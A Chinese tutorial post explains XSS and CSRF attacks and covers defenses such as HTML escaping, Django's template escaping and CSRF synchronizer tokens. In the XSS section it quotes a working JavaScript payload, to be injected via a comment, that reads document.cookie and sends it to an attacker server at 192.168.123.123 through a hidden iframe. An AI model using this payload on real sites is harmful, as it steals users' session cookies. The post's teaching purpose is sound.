什么是XSS
XSS:跨站脚本(Cross-site scripting)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会收到影响。这类攻击通常包含了HTML以及用户端脚本语言。
XSS攻击:通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和Cookie等各种内容。
XSS攻击例子
攻击者使被攻击者在浏览器中执行脚本后,如果需要收集来自被攻击者的数据(如cookie或其他敏感信息),可以自行搭建一个网站,让被攻击者通过JavaScript等方式把收集好的数据作为参数提交
,随后以数据库等形式记录在攻击者自己的服务器上。
下面的代码来自用大白话谈谈XSS与CSRF
// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
用户进入到存在漏洞的页面后,浏览器会执行中的上面这段代码,这段代码读取了用户的cookie信息,并作为参数传给了攻击者的服务器http://192.168.123.123/myxss/
,攻击者可以使用这些信息做下一步的攻击。
这就是XSS攻击的其中一种手段和目的,其他手段和目的可以搜索了解。
XSS防御
主要方法之一是对用户所提供的内容进行过滤,许多编程语言都有提供对HTML的过滤。或者在渲染HTML页面时,将不安全的内容以字符串的形式显示(Django的模板渲染默认采用这种方法)。
什么是CSRF
CSRF:跨站请求伪造(Cross-site request forgery),是一种挟制用户在当前已登录
的Web应用程序上执行非本意
的操作的攻击方法。跟跨站脚本(XSS)相比,XSS利用的是用户对指定网站的信任
,CSRF利用的网站对用户浏览器的信任
。
简单地说,是攻击者通过一些技术手段(例如通过qq发送一个链接让你点击打开)欺骗用户的浏览器去访问一个自己曾经认证过
的网站并执行一些操作(如发邮件,发消息,甚至银行转账)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户的操作。
这其实利用了Web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户资源发出的
。
CSRF攻击例子
这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险
。
CSRF防御
令牌同步模式
原理是:当用户发送请求时,服务器端应用将令牌(英语:token,一个保密且唯一的值)嵌入HTML表格,并发送给客户端。客户端提交HTML表格时候,会将令牌发送到服务端,令牌的验证是由服务端实行的。令牌可以通过任何方式生成,只要确保随机性和唯一性(如:使用随机种子【英语:random seed】的哈希链 )。这样确保攻击者发送请求时候,由于没有该令牌而无法通过验证。
Django的csrf就是采用这种方法。